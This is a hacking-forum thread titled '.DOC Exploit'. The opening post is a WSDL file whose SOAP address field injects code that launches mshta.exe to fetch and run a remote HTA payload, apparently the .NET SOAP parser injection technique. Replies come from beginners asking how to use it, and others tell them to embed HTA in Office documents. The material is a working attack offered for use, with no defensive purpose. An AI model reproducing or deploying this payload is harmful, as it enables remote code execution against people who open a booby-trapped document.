+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: .DOC Exploit (/showthread.php?tid=5743404)
.DOC Exploit - Cyber Connection - Oct 26, 2017
Code
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="https://example.com?C:\Windows\System32\mshta.exe?https://example.com/cmd.jpg"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>RE: .DOC Exploit - aircommodore - Jan 4, 2018
hey how am supposed to use this pls?
RE: .DOC Exploit - CyberStrike - Jan 4, 2018
Research hta and Windows, then you will have a bit better of an understanding of what's going on. Look up how to manually embed an hta into a document.
RE: .DOC Exploit - Dimeblade - Jan 15, 2018
(Jan 4, 2018 08:41 PM)sirru5h Wrote: Research hta and Windows, then you will have a bit better of an understanding of what's going on. Look up how to manually embed an hta into a document.
10000x better than whats on the thread LOOOL
Every keyword there to do the research if anyone is gonna look into it.
RE: .DOC Exploit - HYDRA 2FA - Jan 15, 2018
how to use it? there are examples?
RE: .DOC Exploit - CyberStrike - Jan 17, 2018
(Jan 15, 2018 11:56 AM)barracude Wrote: how to use it? there are examples?
First and really important is learning what is behind whats going on so hta is important
https://msdn.microsoft.com/en-us/library/bb250409(v=vs.85).aspx
Second you also need microsoft office. Doing these things manually tends to allow for much more functionality than say automated tools.